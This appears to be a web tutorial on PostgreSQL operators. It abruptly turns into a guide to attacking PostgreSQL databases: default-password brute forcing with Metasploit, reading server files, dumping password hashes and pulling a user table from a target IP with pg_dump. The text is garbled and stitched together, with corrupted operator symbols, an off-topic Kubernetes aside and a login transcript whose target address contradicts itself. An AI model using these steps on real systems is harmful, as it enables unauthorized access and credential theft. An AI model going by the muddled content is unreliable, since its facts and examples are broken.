PostgreSQL Operators

Introduction To PostgreSQL Operators

PostgreSQL is a relational database management system. It is an open-source software tool, used for managing database systems. It has the capabilities to recover quickly from difficulties and has good uprightness. Be it on web or analytics applications, or mobile applications, with PostgreSQL, it became very easy for a database administrator, to store data and maintaining databases and data warehouses. Let us discuss PostgreSQL Operators.

There are substantial numbers of built-in operators available in PostgresSQL. There is a system catalog called pg operator, where all these operators are declared. The pg operator encompasses mainly two things, first, it includes class OIDs of the output and input types, and secondly, it includes the procedure name, which implements the operator. In Kubernetes or K8s, it allows running easily highly-available PostgreSQL clusters. There are indeed very few developers available for hardcore kernels in the world, so the demand is very high.

Before jumping into operators hack, one should be familiar with the term, service enumeration, and port scanning, to understand the existence and accessibility of PostgresSQL databases for hacking. Port scanning allows you to determine that, in a network which ports are open and can be sending and receiving data, is also called a port scan attack, wherein service enumeration collects information from a network. SNMP enumeration and DNS enumeration are used to implement it.

Types Of PostgreSQL Operators

If we want to manipulate different data items and get an output then we require operators, which are represented by keywords or by special characters. There are many operators used in PostgreSQL.

• Logical Operators: If we want to manipulate Boolean values such as ‘yes’ or ‘no’, ‘true’ or ‘false’ then we need this operator. It is a way to connect two or more than two expressions, in such a way that would return only one value, which controls the program flow.
• Mathematical Operators: As the term indicates, this operator is used for calculations. It can be for addition ’ ’, subtraction ‘-‘, multiplication ‘*’, division ‘/’, modulo or remainder ‘amper12xxrsquo;, exponentiation ‘^’, square root ‘|/’, cube root ‘||/’, factorial ‘!’, factorial or prefix operator ‘!!’, absolute value ‘@’ etc. For example, if we use the addition operator for these two values, 2249 and 7948, it will return the result as 10197.
• Comparison Operators: It is used to make a comparison between two values and return a result. There is six comparison operator available in PostgreSQL. Those are, less than ‘<’, greater than ‘>’, less than or equal to ‘<=’, greater than or equal to ‘>=’, equal ‘=’ and not equal ‘<> or !=’.
• Bitwise Operators: It is used to manipulate bit strings. It differs from the comparison operator. There is a seven-bit string operator in PostgreSQL. Those are concatenation ‘||’ bitwise AND ‘&’, bitwise OR ‘|’, bitwise XOR ‘#’, bitwise NOT ‘~’, bitwise shift left ‘<<’ and bitwise shift right ‘>>’. For example, if we apply a bitwise OR operator with two values like this, B’1001′ | B’1101′, it will return a result as ‘1101’.

Examples of PostgreSQL Operators

There are multiple ways to hack a PostgreSQL database but with specific conditions.

1. Default Passwords: There are some common passwords used in PostgreSQL databases. Some of them are like ‘Postgres’, ‘password’, ‘admin’ etc.

2. Postgres & Metasploit: In Metasploit, there are several exploitation modules and enumeration available, which makes hacking the PostgresSQL database much easier.

Code:

xyz > auxiliary/scanner/postgres/postgres_login
xyz auxiliary(postgres_login) > set RHOST 129.0.0.2
RHOST => 127.0.0.1
msf auxiliary(postgres_login) > run
[-]129.0.0.2:6452 - LOGIN FAILED: @template7 (Incorrect...
[-]129.0.0.2:6452 - LOGIN FAILED: postgres@template7 (Incorrect...
[-]129.0.0.2:6452 - LOGIN FAILED: password@template7 (Incorrect...
[ ]129.0.0.2:6452 - LOGIN SUCCESSFUL: postgres:postgres@template7

It is called ‘brute force attack’, which is possible with the help of the Metasploit module.

3. Postgres_readfile: We can display and read files stored in the PostgreSQl database by using this module. But we should have valid account credentials before proceeding.

Code:

xyz > use auxiliary/admin/postgres/postgres_readfile
xyz auxiliary(postgres_readfile) > show options
Module options (auxiliary/admin/postgres/postgres_readfile):

We need to set the RHOST values and the PASSWORD, for configuring the module and we need to set RFILE for the file we want to read.

4. Postgres_sql: To perform a query we choose and get back the result from the PostgreSQL database, we need this module, but it requires valid credentials to complete the operation. We can use the below-mentioned command to access details.

Code:

XYZ > use auxiliary/admin/postgres/postgres_sql
xyz auxiliary(postgres_sql) > show options
Module options (auxiliary/admin/postgres/postgres_sql):

The configuration required for this module is less, as we just need to have RHOST and PASSWORD values.

5. Database Access: If we already know the username and the password of the target PostgreSQL database, we can a utility called PSQL, to access details. We need to run the following command for the same.

Code:

# psql -h 198.162.99.22 -U Postgres

Retrieving Password Hashes: Once you have the database admin privilege, all user hashes we can dump in Metasploit. We need to use the following command.

Code:

xyz > auxiliary/scanner/postgres/postgres_hashdump

6. Dumping the Database: We can take the help of a command which belongs to Kali Linux, if we want to download the complete database, within that network. We need to use the following command to do so.

Code:

#pg_dump--host=198.162.99.22--username=postgres--password--dbname=template7 --table='user'-f output_pgdump

Now you have a basic knowledge about PostgreSQL hacks. The main purpose of this is to deploy and develop a much secure PostgreSQL database so that it can be saved from outsider hacks in the network. Remember, you should only try to implement PostgreSQL attacks in a system or database, which you legally owned. It is illegal to try to access a system for which you are not authorized.

Recommended Articles

This is a guide to PostgreSQL Operators. Here we discuss the introduction, its types along with examples with code implementation. You can also go through our other related articles to learn more –

1. PostgreSQL Data Types
2. PostgreSQL Architecture
3. PostgreSQL Administration
4. PostgreSQL Features